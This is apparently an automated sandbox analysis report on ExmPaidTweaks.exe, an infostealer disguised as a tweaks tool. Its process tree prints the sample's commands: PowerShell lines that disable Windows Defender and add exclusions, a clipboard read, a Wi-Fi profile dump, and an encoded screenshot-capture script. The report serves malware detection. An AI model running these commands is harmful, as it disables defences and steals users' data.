Analysis
-
max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
27-09-2024 15:45
Behavioral task
behavioral1
Sample
ExmPaidTweaks.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
ExmPaidTweaks.exe
Resource
win10v2004-20240802-en
General
-
Target
ExmPaidTweaks.exe
-
Size
7.4MB
-
MD5
fb85c9ed03b0ba5a1cb056918422b013
-
SHA1
68e862e622451164142f5143965109097daf3353
-
SHA256
335e38a7985a1357ffe96c98258a8a8a4e10897a3a5bd97c06de9a8f5bc98c7b
-
SHA512
832978b77aae80cf12d6feea3bb54c7c5766985e0279c78d4164b2499e8b9c1269f6ce709e4b899fe4687240f47f3673803f29804063c6a7c5ae96468c2178f0
-
SSDEEP
196608:jY8PgLjv+bhqNVoB0SEsucQZ41JBbIR11tY:c8PwL+9qz80SJHQK1JI1vY
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2824 powershell.exe 4976 powershell.exe 5096 powershell.exe 4220 powershell.exe 1512 powershell.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 4412 cmd.exe 2840 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3840 rar.exe -
Loads dropped DLL 17 IoCs
pid Process 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe 1180 ExmPaidTweaks.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 23 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 3 IoCs
pid Process 3124 tasklist.exe 244 tasklist.exe 1448 tasklist.exe -
resource yara_rule behavioral2/files/0x000700000002345f-21.dat upx behavioral2/memory/1180-25-0x00007FFDA8CB0000-0x00007FFDA929E000-memory.dmp upx behavioral2/files/0x0007000000023452-27.dat upx behavioral2/memory/1180-30-0x00007FFDAF330000-0x00007FFDAF354000-memory.dmp upx behavioral2/files/0x000700000002345d-31.dat upx behavioral2/memory/1180-48-0x00007FFDB2490000-0x00007FFDB249F000-memory.dmp upx behavioral2/files/0x0007000000023459-47.dat upx behavioral2/files/0x0007000000023458-46.dat upx behavioral2/files/0x0007000000023457-45.dat upx behavioral2/files/0x0007000000023456-44.dat upx behavioral2/files/0x0007000000023455-43.dat upx behavioral2/files/0x0007000000023454-42.dat upx behavioral2/files/0x0007000000023453-41.dat upx behavioral2/files/0x0007000000023451-40.dat upx behavioral2/files/0x0007000000023464-39.dat upx behavioral2/files/0x0007000000023463-38.dat upx behavioral2/files/0x0007000000023462-37.dat upx behavioral2/files/0x000700000002345e-34.dat upx behavioral2/files/0x000700000002345c-33.dat upx behavioral2/memory/1180-54-0x00007FFDACD20000-0x00007FFDACD4D000-memory.dmp upx behavioral2/memory/1180-56-0x00007FFDAF370000-0x00007FFDAF389000-memory.dmp upx behavioral2/memory/1180-58-0x00007FFDA9C90000-0x00007FFDA9CB3000-memory.dmp upx behavioral2/memory/1180-60-0x00007FFD9A4C0000-0x00007FFD9A636000-memory.dmp upx behavioral2/memory/1180-64-0x00007FFDACD10000-0x00007FFDACD1D000-memory.dmp upx behavioral2/memory/1180-62-0x00007FFDA9C70000-0x00007FFDA9C89000-memory.dmp upx behavioral2/memory/1180-66-0x00007FFDA9640000-0x00007FFDA9673000-memory.dmp upx behavioral2/memory/1180-68-0x00007FFDA8CB0000-0x00007FFDA929E000-memory.dmp upx behavioral2/memory/1180-69-0x00007FFD99E90000-0x00007FFD99F5D000-memory.dmp upx behavioral2/memory/1180-73-0x00007FFD99960000-0x00007FFD99E82000-memory.dmp upx behavioral2/memory/1180-72-0x00007FFDAF330000-0x00007FFDAF354000-memory.dmp upx behavioral2/memory/1180-79-0x00007FFDAF370000-0x00007FFDAF389000-memory.dmp upx behavioral2/memory/1180-80-0x00007FFDA98F0000-0x00007FFDA98FD000-memory.dmp upx behavioral2/memory/1180-85-0x00007FFD99840000-0x00007FFD9995C000-memory.dmp upx behavioral2/memory/1180-84-0x00007FFDA9C90000-0x00007FFDA9CB3000-memory.dmp upx behavioral2/memory/1180-77-0x00007FFDA9C50000-0x00007FFDA9C64000-memory.dmp upx behavioral2/memory/1180-76-0x00007FFDACD20000-0x00007FFDACD4D000-memory.dmp upx behavioral2/memory/1180-86-0x00007FFD9A4C0000-0x00007FFD9A636000-memory.dmp upx behavioral2/memory/1180-153-0x00007FFDA9C70000-0x00007FFDA9C89000-memory.dmp upx behavioral2/memory/1180-198-0x00007FFDACD10000-0x00007FFDACD1D000-memory.dmp upx behavioral2/memory/1180-245-0x00007FFDA9640000-0x00007FFDA9673000-memory.dmp upx behavioral2/memory/1180-257-0x00007FFD99E90000-0x00007FFD99F5D000-memory.dmp upx behavioral2/memory/1180-271-0x00007FFD99960000-0x00007FFD99E82000-memory.dmp upx behavioral2/memory/1180-303-0x00007FFD9A4C0000-0x00007FFD9A636000-memory.dmp upx behavioral2/memory/1180-311-0x00007FFD99840000-0x00007FFD9995C000-memory.dmp upx behavioral2/memory/1180-297-0x00007FFDA8CB0000-0x00007FFDA929E000-memory.dmp upx behavioral2/memory/1180-298-0x00007FFDAF330000-0x00007FFDAF354000-memory.dmp upx behavioral2/memory/1180-326-0x00007FFD99840000-0x00007FFD9995C000-memory.dmp upx behavioral2/memory/1180-325-0x00007FFDA98F0000-0x00007FFDA98FD000-memory.dmp upx behavioral2/memory/1180-324-0x00007FFDA9C50000-0x00007FFDA9C64000-memory.dmp upx behavioral2/memory/1180-323-0x00007FFD99960000-0x00007FFD99E82000-memory.dmp upx behavioral2/memory/1180-322-0x00007FFD99E90000-0x00007FFD99F5D000-memory.dmp upx behavioral2/memory/1180-321-0x00007FFDA9640000-0x00007FFDA9673000-memory.dmp upx behavioral2/memory/1180-320-0x00007FFDACD10000-0x00007FFDACD1D000-memory.dmp upx behavioral2/memory/1180-319-0x00007FFDA9C70000-0x00007FFDA9C89000-memory.dmp upx behavioral2/memory/1180-318-0x00007FFD9A4C0000-0x00007FFD9A636000-memory.dmp upx behavioral2/memory/1180-317-0x00007FFDA9C90000-0x00007FFDA9CB3000-memory.dmp upx behavioral2/memory/1180-316-0x00007FFDAF370000-0x00007FFDAF389000-memory.dmp upx behavioral2/memory/1180-315-0x00007FFDACD20000-0x00007FFDACD4D000-memory.dmp upx behavioral2/memory/1180-314-0x00007FFDB2490000-0x00007FFDB249F000-memory.dmp upx behavioral2/memory/1180-313-0x00007FFDAF330000-0x00007FFDAF354000-memory.dmp upx behavioral2/memory/1180-312-0x00007FFDA8CB0000-0x00007FFDA929E000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 2364 cmd.exe 5032 netsh.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1984 WMIC.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 516 systeminfo.exe -
Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 4976 powershell.exe 4976 powershell.exe 5096 powershell.exe 5096 powershell.exe 2824 powershell.exe 2824 powershell.exe 2840 powershell.exe 2840 powershell.exe 5096 powershell.exe 4468 powershell.exe 4468 powershell.exe 2824 powershell.exe 2840 powershell.exe 4468 powershell.exe 4220 powershell.exe 4220 powershell.exe 4916 powershell.exe 4916 powershell.exe 1512 powershell.exe 1512 powershell.exe 4428 powershell.exe 4428 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4976 powershell.exe Token: SeDebugPrivilege 3124 tasklist.exe Token: SeDebugPrivilege 244 tasklist.exe Token: SeDebugPrivilege 5096 powershell.exe Token: SeDebugPrivilege 2824 powershell.exe Token: SeIncreaseQuotaPrivilege 4704 WMIC.exe Token: SeSecurityPrivilege 4704 WMIC.exe Token: SeTakeOwnershipPrivilege 4704 WMIC.exe Token: SeLoadDriverPrivilege 4704 WMIC.exe Token: SeSystemProfilePrivilege 4704 WMIC.exe Token: SeSystemtimePrivilege 4704 WMIC.exe Token: SeProfSingleProcessPrivilege 4704 WMIC.exe Token: SeIncBasePriorityPrivilege 4704 WMIC.exe Token: SeCreatePagefilePrivilege 4704 WMIC.exe Token: SeBackupPrivilege 4704 WMIC.exe Token: SeRestorePrivilege 4704 WMIC.exe Token: SeShutdownPrivilege 4704 WMIC.exe Token: SeDebugPrivilege 4704 WMIC.exe Token: SeSystemEnvironmentPrivilege 4704 WMIC.exe Token: SeRemoteShutdownPrivilege 4704 WMIC.exe Token: SeUndockPrivilege 4704 WMIC.exe Token: SeManageVolumePrivilege 4704 WMIC.exe Token: 33 4704 WMIC.exe Token: 34 4704 WMIC.exe Token: 35 4704 WMIC.exe Token: 36 4704 WMIC.exe Token: SeDebugPrivilege 1448 tasklist.exe Token: SeDebugPrivilege 2840 powershell.exe Token: SeDebugPrivilege 4468 powershell.exe Token: SeIncreaseQuotaPrivilege 4704 WMIC.exe Token: SeSecurityPrivilege 4704 WMIC.exe Token: SeTakeOwnershipPrivilege 4704 WMIC.exe Token: SeLoadDriverPrivilege 4704 WMIC.exe Token: SeSystemProfilePrivilege 4704 WMIC.exe Token: SeSystemtimePrivilege 4704 WMIC.exe Token: SeProfSingleProcessPrivilege 4704 WMIC.exe Token: SeIncBasePriorityPrivilege 4704 WMIC.exe Token: SeCreatePagefilePrivilege 4704 WMIC.exe Token: SeBackupPrivilege 4704 WMIC.exe Token: SeRestorePrivilege 4704 WMIC.exe Token: SeShutdownPrivilege 4704 WMIC.exe Token: SeDebugPrivilege 4704 WMIC.exe Token: SeSystemEnvironmentPrivilege 4704 WMIC.exe Token: SeRemoteShutdownPrivilege 4704 WMIC.exe Token: SeUndockPrivilege 4704 WMIC.exe Token: SeManageVolumePrivilege 4704 WMIC.exe Token: 33 4704 WMIC.exe Token: 34 4704 WMIC.exe Token: 35 4704 WMIC.exe Token: 36 4704 WMIC.exe Token: SeDebugPrivilege 4220 powershell.exe Token: SeDebugPrivilege 4916 powershell.exe Token: SeIncreaseQuotaPrivilege 876 WMIC.exe Token: SeSecurityPrivilege 876 WMIC.exe Token: SeTakeOwnershipPrivilege 876 WMIC.exe Token: SeLoadDriverPrivilege 876 WMIC.exe Token: SeSystemProfilePrivilege 876 WMIC.exe Token: SeSystemtimePrivilege 876 WMIC.exe Token: SeProfSingleProcessPrivilege 876 WMIC.exe Token: SeIncBasePriorityPrivilege 876 WMIC.exe Token: SeCreatePagefilePrivilege 876 WMIC.exe Token: SeBackupPrivilege 876 WMIC.exe Token: SeRestorePrivilege 876 WMIC.exe Token: SeShutdownPrivilege 876 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1784 wrote to memory of 1180 1784 ExmPaidTweaks.exe 82 PID 1784 wrote to memory of 1180 1784 ExmPaidTweaks.exe 82 PID 1180 wrote to memory of 4312 1180 ExmPaidTweaks.exe 83 PID 1180 wrote to memory of 4312 1180 ExmPaidTweaks.exe 83 PID 1180 wrote to memory of 3344 1180 ExmPaidTweaks.exe 84 PID 1180 wrote to memory of 3344 1180 ExmPaidTweaks.exe 84 PID 1180 wrote to memory of 4160 1180 ExmPaidTweaks.exe 85 PID 1180 wrote to memory of 4160 1180 ExmPaidTweaks.exe 85 PID 1180 wrote to memory of 4772 1180 ExmPaidTweaks.exe 89 PID 1180 wrote to memory of 4772 1180 ExmPaidTweaks.exe 89 PID 4312 wrote to memory of 4976 4312 cmd.exe 91 PID 4312 wrote to memory of 4976 4312 cmd.exe 91 PID 1180 wrote to memory of 1724 1180 ExmPaidTweaks.exe 92 PID 1180 wrote to memory of 1724 1180 ExmPaidTweaks.exe 92 PID 1180 wrote to memory of 5016 1180 ExmPaidTweaks.exe 93 PID 1180 wrote to memory of 5016 1180 ExmPaidTweaks.exe 93 PID 5016 wrote to memory of 244 5016 cmd.exe 96 PID 5016 wrote to memory of 244 5016 cmd.exe 96 PID 1724 wrote to memory of 3124 1724 cmd.exe 97 PID 1724 wrote to memory of 3124 1724 cmd.exe 97 PID 4160 wrote to memory of 3220 4160 cmd.exe 98 PID 4160 wrote to memory of 3220 4160 cmd.exe 98 PID 3344 wrote to memory of 5096 3344 cmd.exe 99 PID 3344 wrote to memory of 5096 3344 cmd.exe 99 PID 1180 wrote to memory of 3700 1180 ExmPaidTweaks.exe 100 PID 1180 wrote to memory of 3700 1180 ExmPaidTweaks.exe 100 PID 4772 wrote to memory of 2824 4772 cmd.exe 101 PID 4772 wrote to memory of 2824 4772 cmd.exe 101 PID 1180 wrote to memory of 4412 1180 ExmPaidTweaks.exe 102 PID 1180 wrote to memory of 4412 1180 ExmPaidTweaks.exe 102 PID 1180 wrote to memory of 4028 1180 ExmPaidTweaks.exe 103 PID 1180 wrote to memory of 4028 1180 ExmPaidTweaks.exe 103 PID 1180 wrote to memory of 1592 1180 ExmPaidTweaks.exe 106 PID 1180 wrote to memory of 1592 1180 ExmPaidTweaks.exe 106 PID 1180 wrote to memory of 2364 1180 ExmPaidTweaks.exe 108 PID 1180 wrote to memory of 2364 1180 ExmPaidTweaks.exe 108 PID 1180 wrote to memory of 980 1180 ExmPaidTweaks.exe 109 PID 1180 wrote to memory of 980 1180 ExmPaidTweaks.exe 109 PID 1180 wrote to memory of 3980 1180 ExmPaidTweaks.exe 114 PID 1180 wrote to memory of 3980 1180 ExmPaidTweaks.exe 114 PID 4412 wrote to memory of 2840 4412 cmd.exe 116 PID 4412 wrote to memory of 2840 4412 cmd.exe 116 PID 3700 wrote to memory of 4704 3700 cmd.exe 117 PID 3700 wrote to memory of 4704 3700 cmd.exe 117 PID 4028 wrote to memory of 1448 4028 cmd.exe 118 PID 4028 wrote to memory of 1448 4028 cmd.exe 118 PID 2364 wrote to memory of 5032 2364 cmd.exe 119 PID 2364 wrote to memory of 5032 2364 cmd.exe 119 PID 3980 wrote to memory of 4468 3980 cmd.exe 120 PID 3980 wrote to memory of 4468 3980 cmd.exe 120 PID 980 wrote to memory of 516 980 cmd.exe 121 PID 980 wrote to memory of 516 980 cmd.exe 121 PID 1592 wrote to memory of 1416 1592 cmd.exe 122 PID 1592 wrote to memory of 1416 1592 cmd.exe 122 PID 1180 wrote to memory of 3300 1180 ExmPaidTweaks.exe 123 PID 1180 wrote to memory of 3300 1180 ExmPaidTweaks.exe 123 PID 3300 wrote to memory of 3016 3300 cmd.exe 125 PID 3300 wrote to memory of 3016 3300 cmd.exe 125 PID 1180 wrote to memory of 3036 1180 ExmPaidTweaks.exe 149 PID 1180 wrote to memory of 3036 1180 ExmPaidTweaks.exe 149 PID 3036 wrote to memory of 1560 3036 cmd.exe 128 PID 3036 wrote to memory of 1560 3036 cmd.exe 128 PID 1180 wrote to memory of 2264 1180 ExmPaidTweaks.exe 129 PID 1180 wrote to memory of 2264 1180 ExmPaidTweaks.exe 129
Processes
-
C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe"C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe"C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ExmPaidTweaks.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4976
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:3344 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5096
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Are you sure you know what you are doing?', 0, '.', 16+16);close()""3⤵
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Are you sure you know what you are doing?', 0, '.', 16+16);close()"4⤵PID:3220
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3124
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:5016 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:244
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
- Suspicious use of WriteProcessMemory
PID:3700 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4704
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2840
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4028 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1448
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Windows\system32\tree.comtree /A /F4⤵PID:1416
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:5032
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵
- Suspicious use of WriteProcessMemory
PID:980 -
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:516
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="3⤵
- Suspicious use of WriteProcessMemory
PID:3980 -
